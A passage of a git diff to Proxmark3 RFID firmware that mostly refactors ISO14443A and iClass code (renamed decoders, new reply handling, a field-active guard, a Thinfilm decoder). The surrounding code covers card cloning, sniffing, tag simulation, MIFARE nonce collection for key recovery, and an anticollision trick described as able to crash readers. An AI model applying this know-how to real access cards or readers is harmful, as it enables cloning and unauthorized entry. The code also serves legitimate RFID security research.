iClass_WriteBlock_ext(blockno, data); - reply_mix(CMD_ACK, isOK, 0, 0, 0, 0); + uint8_t isOK = iClass_WriteBlock_ext(blockno, data); switch_off(); + reply_ng(CMD_HF_ICLASS_WRITEBL, PM3_SUCCESS, (uint8_t *)&isOK, sizeof(uint8_t)); } // turn off afterwards @@ -2434,23 +2479,19 @@ void iClass_Clone(uint8_t startblock, uint8_t endblock, uint8_t *data) { int total_block = (endblock - startblock) + 1; for (i = 0; i < total_block; i++) { // block number - if (iClass_WriteBlock_ext(i + startblock, data + (i * 12))) { - Dbprintf("Write block [%02x] successful", i + startblock); + if (iClass_WriteBlock_ext(startblock + i, data + (i * 12))) { + Dbprintf("Write block [%02x] successful", startblock + i); written++; } else { - if (iClass_WriteBlock_ext(i + startblock, data + (i * 12))) { - Dbprintf("Write block [%02x] successful", i + startblock); - written++; - } else { - Dbprintf("Write block [%02x] failed", i + startblock); - } + Dbprintf("Write block [%02x] failed", startblock + i); } } - if (written == total_block) - DbpString("Clone complete"); - else - DbpString("Clone incomplete"); - reply_mix(CMD_ACK, 1, 0, 0, 0, 0); switch_off(); + + uint8_t isOK = 0; + if (written == total_block) + isOK = 1; + + reply_ng(CMD_HF_ICLASS_CLONE, PM3_SUCCESS, (uint8_t *)&isOK, sizeof(uint8_t)); } diff --git a/armsrc/iclass.h b/armsrc/iclass.h new file mode 100644 index 000000000..a9edbdfed --- /dev/null +++ b/armsrc/iclass.h @@ -0,0 +1,29 @@ +//----------------------------------------------------------------------------- +// Jonathan Westhues, Aug 2005 +// Gerhard de Koning Gans, April 2008, May 2011 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Definitions internal to the app source. +//----------------------------------------------------------------------------- +#ifndef __ICLASS_H +#define __ICLASS_H + +#include "common.h" + +void RAMFUNC SniffIClass(void); +void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); +void ReaderIClass(uint8_t arg0); +void ReaderIClass_Replay(uint8_t arg0, uint8_t *mac); +void iClass_Authentication(uint8_t *mac); +void iClass_Authentication_fast(uint64_t arg0, uint64_t arg1, uint8_t *datain); +void iClass_WriteBlock(uint8_t blockno, uint8_t *data); +void iClass_ReadBlk(uint8_t blockno); +bool iClass_ReadBlock(uint8_t blockno, uint8_t *data, uint8_t len); +void iClass_Dump(uint8_t blockno, uint8_t numblks); +void iClass_Clone(uint8_t startblock, uint8_t endblock, uint8_t *data); +void iClass_ReadCheck(uint8_t blockno, uint8_t keytype); + +#endif diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index b5e612ec9..23b3a2239 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -11,8 +11,25 @@ //----------------------------------------------------------------------------- #include "iso14443a.h" +#include "string.h" +#include "proxmark3_arm.h" +#include "cmd.h" +#include "appmain.h" +#include "BigBuf.h" +#include "fpgaloader.h" +#include "ticks.h" +#include "dbprint.h" +#include "util.h" +#include "parity.h" +#include "mifareutil.h" +#include "commonutil.h" +#include "crc16.h" +#include "protocols.h" + #define MAX_ISO14A_TIMEOUT 524288 static uint32_t iso14a_timeout; +// if iso14443a not active - transmit/receive dont try to execute +static bool hf_field_active = false; uint8_t colpos = 0; int rsamples = 0; @@ -23,7 +40,7 @@ static uint8_t iso14_pcb_blocknum = 0; // // ISO14443 timing: // -// minimum time between the start bits of consecutive transfers from reader to tag: 7000 carrier (13.56Mhz) cycles +// minimum time between the start bits of consecutive transfers from reader to tag: 7000 carrier (13.56MHz) cycles #define REQUEST_GUARD_TIME (7000/16 + 1) // minimum time between last modulation of tag and next start bit from reader to tag: 1172 carrier cycles #define FRAME_DELAY_TIME_PICC_TO_PCD (1172/16 + 1) @@ -91,7 +108,7 @@ static uint32_t LastProxToAirDuration; // Sequence D: 11110000 modulation with subcarrier during first half // Sequence E: 00001111 modulation with subcarrier during second half // Sequence F: 00000000 no modulation with subcarrier -// Sequence COLL: 11111111 load modulation over the full bitlenght. +// Sequence COLL: 11111111 load modulation over the full bitlength. // Tricks the reader to think that multiple cards answer (at least one card with 1 and at least one card with 0). // READER TO CARD - miller // Sequence X: 00001100 drop after half a period @@ -159,7 +176,7 @@ void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *par) { // Note 1: the bitstream may start at any time. We therefore need to sync. // Note 2: the interpretation of Sequence Y and Z depends on the preceding sequence. //----------------------------------------------------------------------------- -static tUart Uart; +static tUart14a Uart; // Lookup-Table to decide if 4 raw bits are a modulation. // We accept the following: @@ -174,12 +191,12 @@ const bool Mod_Miller_LUT[] = { #define IsMillerModulationNibble1(b) (Mod_Miller_LUT[(b & 0x000000F0) >> 4]) #define IsMillerModulationNibble2(b) (Mod_Miller_LUT[(b & 0x0000000F)]) -tUart *GetUart() { +tUart14a *GetUart14a() { return &Uart; } -void UartReset(void) { - Uart.state = STATE_UNSYNCD; +void Uart14aReset(void) { + Uart.state = STATE_14A_UNSYNCD; Uart.bitCount = 0; Uart.len = 0; // number of decoded data bytes Uart.parityLen = 0; // number of decoded parity bytes @@ -192,17 +209,17 @@ void UartReset(void) { Uart.syncBit = 9999; } -void UartInit(uint8_t *data, uint8_t *par) { +void Uart14aInit(uint8_t *data, uint8_t *par) { Uart.output = data; Uart.parity = par; - UartReset(); + Uart14aReset(); } // use parameter non_real_time to provide a timestamp. Set to 0 if the decoder should measure real time RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) { Uart.fourBits = (Uart.fourBits << 8) | bit; - if (Uart.state == STATE_UNSYNCD) { // not yet synced + if (Uart.state == STATE_14A_UNSYNCD) { // not yet synced Uart.syncBit = 9999; // not set // 00x11111 2|3 ticks pause followed by 6|5 ticks unmodulated Sequence Z (a "0" or "start of communication") @@ -228,20 +245,20 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) { Uart.startTime = non_real_time ? non_real_time : (GetCountSspClk() & 0xfffffff8); Uart.startTime -= Uart.syncBit; Uart.endTime = Uart.startTime; - Uart.state = STATE_START_OF_COMMUNICATION; + Uart.state = STATE_14A_START_OF_COMMUNICATION; } } else { if (IsMillerModulationNibble1(Uart.fourBits >> Uart.syncBit)) { if (IsMillerModulationNibble2(Uart.fourBits >> Uart.syncBit)) { // Modulation in both halves - error - UartReset(); + Uart14aReset(); } else { // Modulation in first half = Sequence Z = logic "0" - if (Uart.state == STATE_MILLER_X) { // error - must not follow after X - UartReset(); + if (Uart.state == STATE_14A_MILLER_X) { // error - must not follow after X + Uart14aReset(); } else { Uart.bitCount++; Uart.shiftReg = (Uart.shiftReg >> 1); // add a 0 to the shiftreg - Uart.state = STATE_MILLER_Z; + Uart.state = STATE_14A_MILLER_Z; Uart.endTime = Uart.startTime + 8 * (9 * Uart.len + Uart.bitCount + 1) - 6; if (Uart.bitCount >= 9) { // if we decoded a full byte (including parity) Uart.output[Uart.len++] = (Uart.shiftReg & 0xff); @@ -260,7 +277,7 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) { if (IsMillerModulationNibble2(Uart.fourBits >> Uart.syncBit)) { // Modulation second half = Sequence X = logic "1" Uart.bitCount++; Uart.shiftReg = (Uart.shiftReg >> 1) | 0x100; // add a 1 to the shiftreg - Uart.state = STATE_MILLER_X; + Uart.state = STATE_14A_MILLER_X; Uart.endTime = Uart.startTime + 8 * (9 * Uart.len + Uart.bitCount + 1) - 2; if (Uart.bitCount >= 9) { // if we decoded a full byte (including parity) Uart.output[Uart.len++] = (Uart.shiftReg & 0xff); @@ -274,8 +291,8 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) { } } } else { // no modulation in both halves - Sequence Y - if (Uart.state == STATE_MILLER_Z || Uart.state == STATE_MILLER_Y) { // Y after logic "0" - End of Communication - Uart.state = STATE_UNSYNCD; + if (Uart.state == STATE_14A_MILLER_Z || Uart.state == STATE_14A_MILLER_Y) { // Y after logic "0" - End of Communication + Uart.state = STATE_14A_UNSYNCD; Uart.bitCount--; // last "0" was part of EOC sequence Uart.shiftReg <<= 1; // drop it if (Uart.bitCount > 0) { // if we decoded some bits @@ -292,15 +309,15 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) { if (Uart.len) { return true; // we are finished with decoding the raw data sequence } else { - UartReset(); // Nothing received - start over + Uart14aReset(); // Nothing received - start over } } - if (Uart.state == STATE_START_OF_COMMUNICATION) { // error - must not follow directly after SOC - UartReset(); + if (Uart.state == STATE_14A_START_OF_COMMUNICATION) { // error - must not follow directly after SOC + Uart14aReset(); } else { // a logic "0" Uart.bitCount++; Uart.shiftReg = (Uart.shiftReg >> 1); // add a 0 to the shiftreg - Uart.state = STATE_MILLER_Y; + Uart.state = STATE_14A_MILLER_Y; if (Uart.bitCount >= 9) { // if we decoded a full byte (including parity) Uart.output[Uart.len++] = (Uart.shiftReg & 0xff); Uart.parityBits <<= 1; // make room for the parity bit @@ -334,7 +351,7 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) { // 8 ticks modulated: A collision. Save the collision position and treat as Sequence D // Note 1: the bitstream may start at any time. We therefore need to sync. // Note 2: parameter offset is used to determine the position of the parity bits (required for the anticollision command only) -tDemod Demod; +tDemod14a Demod; // Lookup-Table to decide if 4 raw bits are a modulation. // We accept three or four "1" in any position @@ -346,11 +363,11 @@ const bool Mod_Manchester_LUT[] = { #define IsManchesterModulationNibble1(b) (Mod_Manchester_LUT[(b & 0x00F0) >> 4]) #define IsManchesterModulationNibble2(b) (Mod_Manchester_LUT[(b & 0x000F)]) -tDemod *GetDemod() { +tDemod14a *GetDemod14a() { return &Demod; } -void DemodReset(void) { - Demod.state = DEMOD_UNSYNCD; +void Demod14aReset(void) { + Demod.state = DEMOD_14A_UNSYNCD; Demod.len = 0; // number of decoded data bytes Demod.parityLen = 0; Demod.shiftReg = 0; // shiftreg to hold decoded data bits @@ -365,17 +382,17 @@ void DemodReset(void) { Demod.samples = 0; } -void DemodInit(uint8_t *data, uint8_t *par) { +void Demod14aInit(uint8_t *data, uint8_t *par) { Demod.output = data; Demod.parity = par; - DemodReset(); + Demod14aReset(); } // use parameter non_real_time to provide a timestamp. Set to 0 if the decoder should measure real time RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_time) { Demod.twoBits = (Demod.twoBits << 8) | bit; - if (Demod.state == DEMOD_UNSYNCD) { + if (Demod.state == DEMOD_14A_UNSYNCD) { if (Demod.highCnt < 2) { // wait for a stable unmodulated signal if (Demod.twoBits == 0x0000) { @@ -397,7 +414,7 @@ RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_t Demod.startTime = non_real_time ? non_real_time : (GetCountSspClk() & 0xfffffff8); Demod.startTime -= Demod.syncBit; Demod.bitCount = offset; // number of decoded data bits - Demod.state = DEMOD_MANCHESTER_DATA; + Demod.state = DEMOD_14A_MANCHESTER_DATA; } } } else { @@ -453,7 +470,81 @@ RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_t if (Demod.len) { return true; // we are finished with decoding the raw data sequence } else { // nothing received. Start over - DemodReset(); + Demod14aReset(); + } + } + } + } + return false; // not finished yet, need more data +} + + +// Thinfilm, Kovio mangels ISO14443A in the way that they don't use start bit nor parity bits. +RAMFUNC int ManchesterDecoding_Thinfilm(uint8_t bit) { + Demod.twoBits = (Demod.twoBits << 8) | bit; + + if (Demod.state == DEMOD_14A_UNSYNCD) { + + if (Demod.highCnt < 2) { // wait for a stable unmodulated signal + if (Demod.twoBits == 0x0000) { + Demod.highCnt++; + } else { + Demod.highCnt = 0; + } + } else { + Demod.syncBit = 0xFFFF; // not set + if ((Demod.twoBits & 0x7700) == 0x7000) Demod.syncBit = 7; + else if ((Demod.twoBits & 0x3B80) == 0x3800) Demod.syncBit = 6; + else if ((Demod.twoBits & 0x1DC0) == 0x1C00) Demod.syncBit = 5; + else if ((Demod.twoBits & 0x0EE0) == 0x0E00) Demod.syncBit = 4; + else if ((Demod.twoBits & 0x0770) == 0x0700) Demod.syncBit = 3; + else if ((Demod.twoBits & 0x03B8) == 0x0380) Demod.syncBit = 2; + else if ((Demod.twoBits & 0x01DC) == 0x01C0) Demod.syncBit = 1; + else if ((Demod.twoBits & 0x00EE) == 0x00E0) Demod.syncBit = 0; + if (Demod.syncBit != 0xFFFF) { + Demod.startTime = (GetCountSspClk() & 0xfffffff8); + Demod.startTime -= Demod.syncBit; + Demod.bitCount = 1; // number of decoded data bits + Demod.shiftReg = 1; + Demod.state = DEMOD_14A_MANCHESTER_DATA; + } + } + } else { + + if (IsManchesterModulationNibble1(Demod.twoBits >> Demod.syncBit)) { // modulation in first half + if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) { // ... and in second half = collision + if (!Demod.collisionPos) { + Demod.collisionPos = (Demod.len << 3) + Demod.bitCount; + } + } // modulation in first half only - Sequence D = 1 + Demod.bitCount++; + Demod.shiftReg = (Demod.shiftReg << 1) | 0x1; // in both cases, add a 1 to the shiftreg + if (Demod.bitCount == 8) { // if we decoded a full byte + Demod.output[Demod.len++] = (Demod.shiftReg & 0xff); + Demod.bitCount = 0; + Demod.shiftReg = 0; + } + Demod.endTime = Demod.startTime + 8 * (8 * Demod.len + Demod.bitCount + 1) - 4; + } else { // no modulation in first half + if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) { // and modulation in second half = Sequence E = 0 + Demod.bitCount++; + Demod.shiftReg = (Demod.shiftReg << 1); // add a 0 to the shiftreg + if (Demod.bitCount >= 8) { // if we decoded a full byte + Demod.output[Demod.len++] = (Demod.shiftReg & 0xff); + Demod.bitCount = 0; + Demod.shiftReg = 0; + } + Demod.endTime = Demod.startTime + 8 * (8 * Demod.len + Demod.bitCount + 1); + } else { // no modulation in both halves - End of communication + if (Demod.bitCount > 0) { // there are some remaining data bits + Demod.shiftReg <<= (8 - Demod.bitCount); // left align the decoded bits + Demod.output[Demod.len++] = Demod.shiftReg & 0xff; // and add them to the output + return true; + } + if (Demod.len) { + return true; // we are finished with decoding the raw data sequence + } else { // nothing received. Start over + Demod14aReset(); } } } @@ -504,10 +595,10 @@ void RAMFUNC SniffIso14443a(uint8_t param) { bool ReaderIsActive = false; // Set up the demodulator for tag -> reader responses. - DemodInit(receivedResp, receivedRespPar); + Demod14aInit(receivedResp, receivedRespPar); // Set up the demodulator for the reader -> tag commands - UartInit(receivedCmd, receivedCmdPar); + Uart14aInit(receivedCmd, receivedCmdPar); DbpString("Starting to sniff"); @@ -581,13 +672,13 @@ void RAMFUNC SniffIso14443a(uint8_t param) { true)) break; } /* ready to receive another command. */ - UartReset(); + Uart14aReset(); /* reset the demod code, which might have been */ /* false-triggered by the commands from the reader. */ - DemodReset(); + Demod14aReset(); LED_B_OFF(); } - ReaderIsActive = (Uart.state != STATE_UNSYNCD); + ReaderIsActive = (Uart.state != STATE_14A_UNSYNCD); } // no need to try decoding tag data if the reader is sending - and we cannot afford the time @@ -606,13 +697,13 @@ void RAMFUNC SniffIso14443a(uint8_t param) { if ((!triggered) && (param & 0x01)) triggered = true; // ready to receive another response. - DemodReset(); + Demod14aReset(); // reset the Miller decoder including its (now outdated) input buffer - UartReset(); - //UartInit(receivedCmd, receivedCmdPar); + Uart14aReset(); + //Uart14aInit(receivedCmd, receivedCmdPar); LED_C_OFF(); } - TagIsActive = (Demod.state != DEMOD_UNSYNCD); + TagIsActive = (Demod.state != DEMOD_14A_UNSYNCD); } } @@ -624,6 +715,8 @@ void RAMFUNC SniffIso14443a(uint8_t param) { } } // end main loop + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_ERROR) { Dbprintf("maxDataLen=%d, Uart.state=%x, Uart.len=%d", maxDataLen, Uart.state, Uart.len); Dbprintf("traceLen=" _YELLOW_("%d")", Uart.output[0]="_YELLOW_("%08x"), BigBuf_get_traceLen(), (uint32_t)Uart.output[0]); @@ -741,7 +834,7 @@ static void Code4bitAnswerAsTag(uint8_t cmd) { //----------------------------------------------------------------------------- // Wait for commands from reader -// stop when button is pressed +// stop when button is pressed or client usb connection resets // or return TRUE when command is captured //----------------------------------------------------------------------------- static bool GetIso14443aCommandFromReader(uint8_t *received, uint8_t *par, int *len) { @@ -752,7 +845,7 @@ static bool GetIso14443aCommandFromReader(uint8_t *received, uint8_t *par, int * FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN); // Now run a `software UART` on the stream of incoming samples. - UartInit(received, par); + Uart14aInit(received, par); // clear RXRDY: uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; @@ -912,7 +1005,7 @@ static bool SimulateIso14443aInit(int tagType, int flags, uint8_t *data, tag_res } break; default: { - if (DBGLEVEL >= DBG_ERROR) Dbprintf("Error: unkown tagtype (%d)", tagType); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Error: unknown tagtype (%d)", tagType); return false; } break; @@ -1071,7 +1164,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint8_t flags, uint8_t *data) { if (SimulateIso14443aInit(tagType, flags, data, &responses, &cuid, counters, tearings, &pages) == false) { BigBuf_free_keep_EM(); - reply_ng(CMD_SIMULATE_MIFARE_CARD, PM3_EINIT, NULL, 0); + reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0); return; } @@ -1092,7 +1185,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint8_t flags, uint8_t *data) { #define ORDER_SELECT_CL2 30 #define ORDER_EV1_COMP_WRITE 40 #define ORDER_RATS 70 - int order = ORDER_NONE; + uint8_t order = ORDER_NONE; int retval = PM3_SUCCESS; @@ -1191,7 +1284,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint8_t flags, uint8_t *data) { ar_nr_nonces[index].state = SECOND; // send to client (one struct nonces_t) - reply_ng(CMD_SIMULATE_MIFARE_CARD, PM3_SUCCESS, (uint8_t *)&ar_nr_nonces[index], sizeof(nonces_t)); + reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_SUCCESS, (uint8_t *)&ar_nr_nonces[index], sizeof(nonces_t)); ar_nr_nonces[index].state = EMPTY; ar_nr_nonces[index].sector = 0; @@ -1515,7 +1608,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint8_t flags, uint8_t *data) { Dbprintf("-[ Num of moebius tries [%d]", moebius_count); } - reply_ng(CMD_SIMULATE_MIFARE_CARD, retval, NULL, 0); + reply_ng(CMD_HF_MIFARE_SIMULATE, retval, NULL, 0); } // prepare a delayed transfer. This simply shifts ToSend[] by a number @@ -1551,6 +1644,9 @@ void PrepareDelayedTransfer(uint16_t delay) { //------------------------------------------------------------------------------------- static void TransmitFor14443a(const uint8_t *cmd, uint16_t len, uint32_t *timing) { + if (!hf_field_active) + return; + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); if (timing) { @@ -1573,19 +1669,11 @@ static void TransmitFor14443a(const uint8_t *cmd, uint16_t len, uint32_t *timing LastTimeProxToAirStart = ThisTransferTime; } - // clear TXRDY - AT91C_BASE_SSC->SSC_THR = SEC_Y; - - volatile uint8_t b; uint16_t c = 0; while (c < len) { if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = cmd[c++]; - } - //iceman test - if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - b = (uint16_t)(AT91C_BASE_SSC->SSC_RHR); - (void)b; + AT91C_BASE_SSC->SSC_THR = cmd[c]; + c++; } } @@ -1699,12 +1787,18 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) { ADC_MODE_PRESCALE(63) | ADC_MODE_STARTUP_TIME(1) | ADC_MODE_SAMPLE_HOLD_TIME(15); + +#if defined RDV4 + AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF_RDV40); +#else AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF); +#endif + // start ADC AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START; // Now run a 'software UART' on the stream of incoming samples. - UartInit(received, par); + Uart14aInit(received, par); // Clear RXRDY: uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; @@ -1723,12 +1817,19 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) { ++check; // test if the field exists - if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF)) { +#if defined RDV4 + if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF_RDV40)) { + analogCnt++; - analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF]; + + analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF_RDV40]; + AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START; + if (analogCnt >= 32) { + if ((MAX_ADC_HF_VOLTAGE_RDV40 * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) { + if (timer == 0) { timer = GetTickCount(); } else { @@ -1744,6 +1845,35 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) { analogAVG = 0; } } +#else + if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF)) { + + analogCnt++; + + analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF]; + + AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START; + + if (analogCnt >= 32) { + + if ((MAX_ADC_HF_VOLTAGE * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) { + + if (timer == 0) { + timer = GetTickCount(); + } else { + // 50ms no field --> card to idle state + if (GetTickCountDelta(timer) > 50) { + return 2; + } + } + } else { + timer = 0; + } + analogCnt = 0; + analogAVG = 0; + } + } +#endif // receive and test the miller decoding if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { @@ -1916,12 +2046,15 @@ bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_Start } //----------------------------------------------------------------------------- +// Kovio - Thinfilm barcode. TAG-TALK-FIRST - // Wait a certain time for tag response // If a response is captured return TRUE // If it takes too long return FALSE //----------------------------------------------------------------------------- -static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receivedResponsePar, uint16_t offset) { - uint32_t c = 0; +bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint8_t *received_len) { + + if (!hf_field_active) + return false; // Set FPGA mode to "reader listen mode", no modulation (listen // only, since we are receiving, not transmitting). @@ -1930,13 +2063,62 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receive FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN); // Now get the answer from the card - DemodInit(receivedResponse, receivedResponsePar); + Demod14aInit(receivedResponse, NULL); + + // clear RXRDY: + uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + (void)b; + + uint32_t receive_timer = GetTickCount(); + for (;;) { + WDT_HIT(); + + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + if (ManchesterDecoding_Thinfilm(b)) { + *received_len = Demod.len; + // log + LogTrace(receivedResponse, Demod.len, Demod.startTime * 16 - DELAY_AIR2ARM_AS_READER, Demod.endTime * 16 - DELAY_AIR2ARM_AS_READER, NULL, false); + return true; + } + } + + if (GetTickCountDelta(receive_timer) > 100) + break; + } + *received_len = Demod.len; + // log + LogTrace(receivedResponse, Demod.len, Demod.startTime * 16 - DELAY_AIR2ARM_AS_READER, Demod.endTime * 16 - DELAY_AIR2ARM_AS_READER, NULL, false); + return false; +} + + +//----------------------------------------------------------------------------- +// Wait a certain time for tag response +// If a response is captured return TRUE +// If it takes too long return FALSE +//----------------------------------------------------------------------------- +static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receivedResponsePar, uint16_t offset) { + uint32_t c = 0; + + if (!hf_field_active) + return false; + + // Set FPGA mode to "reader listen mode", no modulation (listen + // only, since we are receiving, not transmitting). + // Signal field is on with the appropriate LED + LED_D_ON(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN); + + // Now get the answer from the card + Demod14aInit(receivedResponse, receivedResponsePar); // clear RXRDY: uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; (void)b; uint32_t timeout = iso14a_get_timeout(); + uint32_t receive_timer = GetTickCount(); for (;;) { WDT_HIT(); @@ -1945,11 +2127,16 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receive if (ManchesterDecoding(b, offset, 0)) { NextTransferTime = MAX(NextTransferTime, Demod.endTime - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER) / 16 + FRAME_DELAY_TIME_PICC_TO_PCD); return true; - } else if (c++ > timeout && Demod.state == DEMOD_UNSYNCD) { + } else if (c++ > timeout && Demod.state == DEMOD_14A_UNSYNCD) { return false; } } + + // timeout already in ms + 100ms guard time + if (GetTickCountDelta(receive_timer) > timeout + 100) + break; } + return false; } void ReaderTransmitBitsPar(uint8_t *frame, uint16_t bits, uint8_t *par, uint32_t *timing) { @@ -1994,6 +2181,7 @@ int ReaderReceive(uint8_t *receivedAnswer, uint8_t *par) { return Demod.len; } + // This function misstreats the ISO 14443a anticollision procedure. // by fooling the reader there is a collision and forceing the reader to // increase the uid bytes. The might be an overflow, DoS will occure. @@ -2339,8 +2527,7 @@ void iso14443a_setup(uint8_t fpga_minor_mode) { LED_D_OFF(); // Signal field is on with the appropriate LED - if (fpga_minor_mode == FPGA_HF_ISO14443A_READER_MOD || - fpga_minor_mode == FPGA_HF_ISO14443A_READER_LISTEN) + if (fpga_minor_mode == FPGA_HF_ISO14443A_READER_MOD || fpga_minor_mode == FPGA_HF_ISO14443A_READER_LISTEN) LED_D_ON(); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | fpga_minor_mode); @@ -2350,10 +2537,19 @@ void iso14443a_setup(uint8_t fpga_minor_mode) { StartCountSspClk(); // Prepare the demodulation functions - DemodReset(); - UartReset(); + Demod14aReset(); + Uart14aReset(); NextTransferTime = 2 * DELAY_ARM2AIR_AS_READER; iso14a_set_timeout(1060); // 106 * 10ms default + + hf_field_active = true; +} + + +void hf_field_off(void) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + hf_field_active = false; } /* Peter Fillmore 2015 @@ -2492,6 +2688,8 @@ void ReaderIso14443a(PacketCommandNG *c) { if (!(param & ISO14A_NO_SELECT)) { iso14a_card_select_t *card = (iso14a_card_select_t *)buf; arg0 = iso14443a_select_card(NULL, card, NULL, true, 0, param & ISO14A_NO_RATS); + FpgaDisableTracing(); + reply_mix(CMD_ACK, arg0, card->uidlen, 0, buf, sizeof(iso14a_card_select_t)); if (arg0 == 0) goto OUT; @@ -2504,6 +2702,8 @@ void ReaderIso14443a(PacketCommandNG *c) { if ((param & ISO14A_APDU)) { uint8_t res; arg0 = iso14_apdu(cmd, len, (param & ISO14A_SEND_CHAINING), buf, &res); + FpgaDisableTracing(); + reply_old(CMD_ACK, arg0, res, 0, buf, sizeof(buf)); } @@ -2548,6 +2748,8 @@ void ReaderIso14443a(PacketCommandNG *c) { } } arg0 = ReaderReceive(buf, par); + FpgaDisableTracing(); + reply_old(CMD_ACK, arg0, 0, 0, buf, sizeof(buf)); } @@ -2558,9 +2760,8 @@ void ReaderIso14443a(PacketCommandNG *c) { return; OUT: - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + hf_field_off(); set_tracing(false); - LEDsoff(); } // Determine the distance between two nonces. @@ -2635,6 +2836,8 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) { static uint8_t par_low = 0; static uint8_t mf_nr_ar3 = 0; + int return_status = PM3_SUCCESS; + AddCrc14A(mf_auth, 2); if (first_try) { @@ -2651,6 +2854,7 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) { } LED_C_ON(); + uint16_t checkbtn_cnt = 0; uint16_t i; for (i = 0; true; ++i) { @@ -2659,16 +2863,21 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) { WDT_HIT(); // Test if the action was cancelled - if (BUTTON_PRESS()) { - isOK = -1; - break; + if (checkbtn_cnt == 1000) { + if (BUTTON_PRESS() || data_available()) { + isOK = -1; + return_status = PM3_EOPABORTED; + break; + } + checkbtn_cnt = 0; } + ++checkbtn_cnt; // this part is from Piwi's faster nonce collecting part in Hardnested. if (!have_uid) { // need a full select cycle to get the uid first iso14a_card_select_t card_info; if (!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) { - if (DBGLEVEL >= DBG_ERROR) Dbprintf("Mifare: Can't select card (ALL)"); + if (DBGLEVEL >= DBG_INFO) Dbprintf("Mifare: Can't select card (ALL)"); continue; } switch (card_info.uidlen) { @@ -2687,7 +2896,7 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) { have_uid = true; } else { // no need for anticollision. We can directly select the card if (!iso14443a_fast_select_card(uid, cascade_levels)) { - if (DBGLEVEL >= DBG_ERROR) Dbprintf("Mifare: Can't select card (UID)"); + if (DBGLEVEL >= DBG_INFO) Dbprintf("Mifare: Can't select card (UID)"); continue; } } @@ -2720,8 +2929,16 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) { 